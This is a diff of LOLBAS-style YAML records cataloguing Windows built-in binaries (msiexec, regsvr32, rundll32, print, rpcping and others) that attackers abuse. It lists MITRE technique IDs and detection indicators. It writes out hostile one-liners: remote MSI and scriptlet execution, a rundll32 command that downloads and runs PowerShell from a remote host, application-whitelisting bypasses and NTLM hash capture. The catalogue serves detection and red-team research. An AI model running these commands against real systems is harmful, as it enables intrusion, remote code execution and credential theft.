+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Msiexec.yml

@@ -1,25 +1,54 @@
 ---
 Name: Msiexec.exe
-Description: Execute
+Description: Used by Windows to execute msi files
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: msiexec /quiet /i cmd.msi
     Description: Installs the target .MSI file silently.
+    Usecase: Execute custom made msi file with attack code
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: msiexec /q /i http://192.168.100.3/tmp/cmd.png
     Description: Installs the target remote & renamed .MSI file silently.
+    Usecase: Execute custom made msi file with attack code from remote server
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: msiexec /y "C:\folder\evil.dll"
     Description: Calls DLLRegisterServer to register the target DLL.
+    Usecase: Execute dll files
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: msiexec /z "C:\folder\evil.dll"
     Description: Calls DLLRegisterServer to un-register the target DLL.
+    Usecase: Execute dll files
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10    
 Full Path:
-  - c:\windows\system32\msiexec.exe
+  - Path: C:\Windows\System32\msiexec.exe
-  - c:\windows\sysWOW64\msiexec.exe
+  - Path: C:\Windows\SysWOW64\msiexec.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: msiexec.exe getting files from Internet
 Resources:
-  - https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/
+  - Link: https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/
-  - https://twitter.com/PhilipTsukerman/status/992021361106268161
+  - Link: https://twitter.com/PhilipTsukerman/status/992021361106268161
-Notes: Thanks to ? - @netbiosX, PhilipTsukerman - @PhilipTsukerman
+Acknowledgement:
-
+  - Person: netbiosX
+    Handle: '@netbiosX'
+  - Person: Philip Tsukerman
+    Handle: @PhilipTsukerman
+---

yml/OSBinaries/Odbcconf.yml

@@ -1,22 +1,28 @@
 ---
-Name: odbcconf.exe
+Name: Odbcconf.exe
-Description: Execute
+Description: Used in Windows for managing ODBC connections
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: odbcconf -f file.rsp
-    Description: Load DLL specified in target .RSP file.
+    Description: Load DLL specified in target .RSP file. See the Playloads folder for an example .RSP file.
+    Usecase: Execute dll file using technique that can evade defensive counter measures
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - 'c:\windows\system32\odbcconf.exe    '
+  - Path: C:\Windows\System32\odbcconf.exe
-  - c:\windows\sysWOW64\odbcconf.exe
+  - Path: C:\Windows\SysWOW64\odbcconf.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/file.rsp
+Detection:
+ - IOC:
 Resources:
-  - https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b
+  - Link: https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b
-  - https://github.com/woanware/application-restriction-bypasses
+  - Link: https://github.com/woanware/application-restriction-bypasses
-  - https://twitter.com/subTee/status/789459826367606784
+Acknowledgement:
-Notes: |
+  - Person: Casey Smith
-    Thanks to Casey Smith - @subtee, Nick Tyrer - @NickTyrer
+    Handle: '@subtee'
-    See the Playloads folder for an example .RSP file.
+---
-

yml/OSBinaries/Pcalua.yml

@@ -1,24 +1,44 @@
 ---
 Name: Pcalua.exe
-Description: Execute
+Description: Program Compatibility Assistant
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: pcalua.exe -a calc.exe
     Description: Open the target .EXE using the Program Compatibility Assistant.
+    Usecase: Proxy execution of binary
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: pcalua.exe -a \\server\payload.dll
     Description: Open the target .DLL file with the Program Compatibilty Assistant.
+    Usecase: Proxy execution of remote dll file
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: pcalua.exe -a C:\Windows\system32\javacpl.cpl -c Java
     Description: Open the target .CPL file with the Program Compatibility Assistant.
+    Usecase: Execution of CPL files
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\pcalua.exe
+  - Path: C:\Windows\System32\pcalua.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC:
 Resources:
-  - https://twitter.com/KyleHanslovan/status/912659279806640128
+  - Link: https://twitter.com/KyleHanslovan/status/912659279806640128
-Notes: |
+Acknowledgement:
-    Thanks to:
+  - Person: Kyle Hanslovan
-    fab - @0rbz_
+    Handle: '@kylehanslovan'
-    Kyle Hanslovan - @KyleHanslovan
+  - Person: Fab
-
+    Handle: @0rbz_
+---

yml/OSBinaries/Pcwrun.yml

@@ -1,17 +1,26 @@
 ---
 Name: Pcwrun.exe
-Description: Execute
+Description: Program Compatibility Wizard
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: Pcwrun.exe c:\temp\beacon.exe
     Description: Open the target .EXE file with the Program Compatibility Wizard.
+    Usecase: Proxy execution of binary
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\pcwrun.exe
+  - Path: C:\Windows\System32\pcwrun.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC:
 Resources:
-  - https://twitter.com/pabraeken/status/991335019833708544
+  - Link: https://twitter.com/pabraeken/status/991335019833708544
-Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken
+Acknowledgement:
-
+  - Person: Pierre-Alexandre Braeken
+    Handle: '@pabraeken'
+---

yml/OSBinaries/Presentationhost.yml

@@ -1,19 +1,28 @@
 ---
-Name: PresentationHost.exe
+Name: Presentationhost.exe
-Description: Execute
+Description: File is used for executing Browser applications
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: Presentationhost.exe C:\temp\Evil.xbap
-    Description: Executes the target XAML Browser Application (XBAP) file.
+    Description: Executes the target XAML Browser Application (XBAP) file
+    Usecase: Execute code within xbap files
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - 'c:\windows\system32\PresentationHost.exe     '
+  - Path: C:\Windows\System32\Presentationhost.exe
-  - 'c:\windows\sysWOW64\PresentationHost.exe    '
+  - Path: C:\Windows\SysWOW64\Presentationhost.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC:
 Resources:
-  - https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
+  - Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
-  - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
+  - Link: https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
-Notes: Thanks to Casey Smith - @subtee
+Acknowledgement:
-
+  - Person: Casey Smith
+    Handle: '@subtee'
+---

yml/OSBinaries/Print.yml

@@ -1,23 +1,45 @@
 ---
 Name: Print.exe
-Description: Download, Copy, Add ADS
+Description: Used by Windows to send files to the printer
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
     Description: Copy file.exe into the Alternate Data Stream (ADS) of file.txt.
+    Usecase: Hide binary file in alternate data stream to potentially bypass defensive counter measures
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
     Description: Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe
+    Usecase: Copy files
+    Category: Copy
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
     Description: Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.
+    Usecase: Copy/Download file from remote server
+    Category: Copy
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\System32\print.exe
+  - Path: C:\Windows\System32\print.exe
-  - C:\Windows\SysWOW64\print.exe
+  - Path: C:\Windows\SysWOW64\print.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Print.exe getting files from internet
+ - IOC: Print.exe creating executable files on disk
 Resources:
-  - https://twitter.com/Oddvarmoe/status/985518877076541440
+  - Link: https://twitter.com/Oddvarmoe/status/985518877076541440
-  - https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410
+  - Link: https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410
-Notes: Thanks to Oddvar Moe - @oddvarmoe
+Acknowledgement:
-
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Reg.yml

@@ -1,18 +1,27 @@
 ---
-Name: reg.exe
+Name: Reg.exe
-Description: Export Reg, Add ADS, Import Reg
+Description: Used to manipulate the registry
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
-    Description: Export the target Registry key and save it to the specified .REG file.
+    Description: Export the target Registry key and save it to the specified .REG file within an Alternate data stream.
+    Usecase: Hide/plant registry information in Alternate data stream for later use
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\reg.exe
+  - Path: C:\Windows\System32\reg.exe
-  - c:\windows\sysWOW64\reg.exe
+  - Path: C:\Windows\SysWOW64\reg.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: reg.exe writing to an ADS
 Resources:
-  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+  - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
-Notes: Thanks to Oddvar Moe - @oddvarmoe
+Acknowledgement:
-
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Regasm.yml

@@ -1,25 +1,39 @@
 ---
 Name: Regasm.exe
-Description: Execute
+Description: Part of .NET
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
-  - Command: regasm.exe /U AllTheThingsx64.dll
+  - Command: regasm.exe AllTheThingsx64.dll 
-    Description: Loads the target .DLL file and executes the UnRegisterClass function.
-  - Command: regasm.exe AllTheThingsx64.dll
     Description: Loads the target .DLL file and executes the RegisterClass function.
+    Usecase: Execute code and bypass Application whitelisting
+    Category: AWL bypass
+    Privileges: User
+    MitreID: T1121
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1121
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: regasm.exe AllTheThingsx64.dll 
+    Description: Loads the target .DLL file and executes the RegisterClass function.
+    Usecase: Execute code and bypass Application whitelisting
+    Category: Execute
+    Privileges: User
+    MitreID: T1121
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1121
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\Microsoft.NET\Framework\v2.0.50727\regasm.exe
+  - Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\regasm.exe
-  - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regasm.exe
+  - Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regasm.exe
-  - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
+  - Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
-  - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe
+  - Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: regasm.exe executing dll file
 Resources:
-  - https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/
+  - Link: https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/
-  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cs
+  - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
-  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.md
+  - Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1121/T1121.md
-  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+Acknowledgement:
-Notes: Thanks to Casey Smith - @subtee
+  - Person: Casey Smith
-
+    Handle: '@subtee'
+---

yml/OSBinaries/Regedit.yml

@@ -1,20 +1,36 @@
 ---
-Name: regedit.exe
+Name: Regedit.exe
-Description: Write ADS, Read ADS, Import registry
+Description: Used by Windows to manipulate registry
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
     Description: Export the target Registry key to the specified .REG file.
+    Usecase: Hide registry data in alternate data stream
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: regedit C:\ads\file.txt:regfile.reg"
     Description: Import the target .REG file into the Registry.
+    Usecase: Import hidden registry data from alternate data stream
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\System32\regedit.exe
+  - Path: C:\Windows\System32\regedit.exe
-  - C:\Windows\SysWOW64\regedit.exe
+  - Path: C:\Windows\SysWOW64\regedit.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: regedit.exe reading and writing to alternate data stream
+ - IOC: regedit.exe should normally not be executed by end-users
 Resources:
-  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+  - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
-Notes: Thanks to Oddvar Moe - @oddvarmoe
+Acknowledgement:
-
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Register-cimprovider.yml

@@ -1,18 +1,27 @@
 ---
 Name: Register-cimprovider.exe
-Description: Execute
+Description: Used to register new wmi providers
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: Register-cimprovider -path "C:\folder\evil.dll"
     Description: Load the target .DLL.
+    Usecase: Execute code within dll file
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\Register-cimprovider.exe
+  - Path: C:\Windows\System32\Register-cimprovider.exe
-  - c:\windows\sysWOW64\Register-cimprovider.exe
+  - Path: C:\Windows\SysWOW64\Register-cimprovider.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC:
 Resources:
-  - https://twitter.com/PhilipTsukerman/status/992021361106268161
+  - Link: https://twitter.com/PhilipTsukerman/status/992021361106268161
-Notes: Thanks to PhilipTsukerman - @PhilipTsukerman
+Acknowledgement:
-
+  - Person: Philip Tsukerman
+    Handle: '@PhilipTsukerman'
+---

yml/OSBinaries/Regsvcs.yml

@@ -1,23 +1,37 @@
 ---
 Name: Regsvcs.exe
-Description: Execute
+Description: Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: regsvcs.exe AllTheThingsx64.dll
     Description: Loads the target .DLL file and executes the RegisterClass function.
+    Usecase: Execute dll file and bypass Application whitelisting
+    Category: Execute
+    Privileges: User
+    MitreID: T1121
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1121
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: regsvcs.exe AllTheThingsx64.dll
+    Description: Loads the target .DLL file and executes the RegisterClass function.
+    Usecase: Execute dll file and bypass Application whitelisting
+    Category: AWL bypass
+    Privileges: User
+    MitreID: T1121
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1121
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe
+  - Path: C:\Windows\System32\regsvcs.exe
-  - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regsvcs.exe
+  - Path: C:\Windows\SysWOW64\regsvcs.exe
-  - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
+Code Sample: 
-  - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe
+- Code:
-Code Sample: []
+Detection:
-Detection: []
+ - IOC:
 Resources:
-  - https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/
+  - Link: https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/
-  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cs
+  - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
-  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.md
+  - Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1121/T1121.md
-  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+Acknowledgement:
-Notes: Thanks to Casey Smith - @subtee
+  - Person: Casey Smith
-
+    Handle: '@subtee'
+---

yml/OSBinaries/Regsvr32.yml

@@ -1,22 +1,54 @@
 ---
 Name: Regsvr32.exe
-Description: Execute
+Description: Used by Windows to register dlls
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
     Description: Execute the specified remote .SCT script with scrobj.dll.
-  - Commands: regsvr32.exe /s /u /i:file.sct scrobj.dll
+    Usecase: Execute code from remote scriptlet, bypass Application whitelisting
+    Category: AWL bypass
+    Privileges: User
+    MitreID: T1117
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1117
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: regsvr32.exe /s /u /i:file.sct scrobj.dll
     Description: Execute the specified local .SCT script with scrobj.dll.
+    Usecase: Execute code from scriptlet, bypass Application whitelisting
+    Category: AWL bypass
+    Privileges: User
+    MitreID: T1117
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1117
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
+    Description: Execute the specified remote .SCT script with scrobj.dll.
+    Usecase: Execute code from remote scriptlet, bypass Application whitelisting
+    Category: Execute
+    Privileges: User
+    MitreID: T1117
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1117
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: regsvr32.exe /s /u /i:file.sct scrobj.dll
+    Description: Execute the specified local .SCT script with scrobj.dll.
+    Usecase: Execute code from scriptlet, bypass Application whitelisting
+    Category: Execute
+    Privileges: User
+    MitreID: T1117
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1117
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\System32\regsvr32.exe
+  - Path: C:\Windows\System32\regsvr32.exe
-  - C:\Windows\SysWOW64\regsvr32.exe
+  - Path: C:\Windows\SysWOW64\regsvr32.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: regsvr32.exe getting files from Internet
+ - IOC: regsvr32.exe executing scriptlet files
 Resources:
-  - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Regsvr32.md
+  - Link: https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
-  - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
+  - Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
-  - https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
+  - Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/T1117.md
-Notes: Thanks to Casey Smith - @subtee
+Acknowledgement:
-
+  - Person: Casey Smith
+    Handle: '@subtee'
+---

yml/OSBinaries/Replace.yml

@@ -1,21 +1,36 @@
 ---
 Name: Replace.exe
-Description: Copy, Download
+Description: Used to replace file with another file 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: replace.exe C:\Source\File.cab C:\Destination /A
-    Description: Copy the specified file to the destination folder.
+    Description: Copy file.cab to destination
+    Usecase: Copy files 
+    Category: Copy
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
-    Description: Copy the specified file to the destination folder.
+    Description: Download/Copy bar.exe to outdir
+    Usecase: Download file 
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\System32\replace.exe
+  - Path: C:\Windows\System32\replace.exe
-  - C:\Windows\SysWOW64\replace.exe
+  - Path: C:\Windows\SysWOW64\replace.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Replace.exe getting files from remote server
 Resources:
-  - https://twitter.com/elceef/status/986334113941655553
+  - Link: https://twitter.com/elceef/status/986334113941655553
-  - https://twitter.com/elceef/status/986842299861782529
+  - Link: https://twitter.com/elceef/status/986842299861782529
-Notes: Thanks to elceef - @elceef
+Acknowledgement:
-
+  - Person: elceef
+    Handle: '@elceef'
+---

yml/OSBinaries/Rpcping.yml

@@ -1,25 +1,31 @@
 ---
 Name: Rpcping.exe
-Description: Credentials
+Description: Used to verify rpc connection
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
-  - Command: rpcping -s 127.0.0.1 -t ncacn_np
-    Description: Send a RPC test connection to the target server (-s) sending the password hash in the process.
-  - Command: rpcping -s 192.168.1.10 -ncacn_np
-    Description: Send a RPC test connection to the target server (-s) sending the password hash in the process.
   - Command: rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
     Description: Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
+    Usecase: Capture credentials on a non-standard port
+    Category: Credentials
+    Privileges: User
+    MitreID: T1003
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1003
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\System32\rpcping.exe
+  - Path: C:\Windows\System32\rpcping.exe
-  - C:\Windows\SysWOW64\rpcping.exe
+  - Path: C:\Windows\SysWOW64\rpcping.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC:
 Resources:
-  - https://twitter.com/subtee/status/872797890539913216
+  - Link: https://github.com/vysec/RedTips
-  - https://github.com/vysec/RedTips
+  - Link: https://twitter.com/vysecurity/status/974806438316072960
-  - https://twitter.com/vysecurity/status/974806438316072960
+  - Link: https://twitter.com/vysecurity/status/873181705024266241
-  - https://twitter.com/vysecurity/status/873181705024266241
+Acknowledgement:
-Notes: Thanks to Casey Smith - @subtee, Vincent Yiu - @vysecurity
+  - Person: Casey Smith
-
+    Handle: '@subtee'
+  - Person: Vincent Yiu
+    Handle: '@vysecurity'
+---

yml/OSBinaries/Rundll32.yml

@@ -1,32 +1,70 @@
 ---
 Name: Rundll32.exe
-Description: Execute, Read ADS
+Description: Used by Windows to execute dll files
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: rundll32.exe AllTheThingsx64,EntryPoint
-    Description: Example command. AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.
+    Description: AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.
+    Usecase: Execute dll file
+    Category: Execute
+    Privileges: User
+    MitreID: T1085
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1085
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
     Description: Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.
+    Usecase: Execute code from Internet
+    Category: Execute
+    Privileges: User
+    MitreID: T1085
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1085
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
     Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe.
+    Usecase: Proxy execution
+    Category: Execute
+    Privileges: User
+    MitreID: T1085
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1085
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
     Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.
+    Usecase: Proxy execution
+    Category: Execute
+    Privileges: User
+    MitreID: T1085
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1085
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
     Description: Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.
+    Usecase: Execute code from Internet
+    Category: Execute
+    Privileges: User
+    MitreID: T1085
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1085
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain
     Description: Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).
+    Usecase: Execute code from alternate data stream
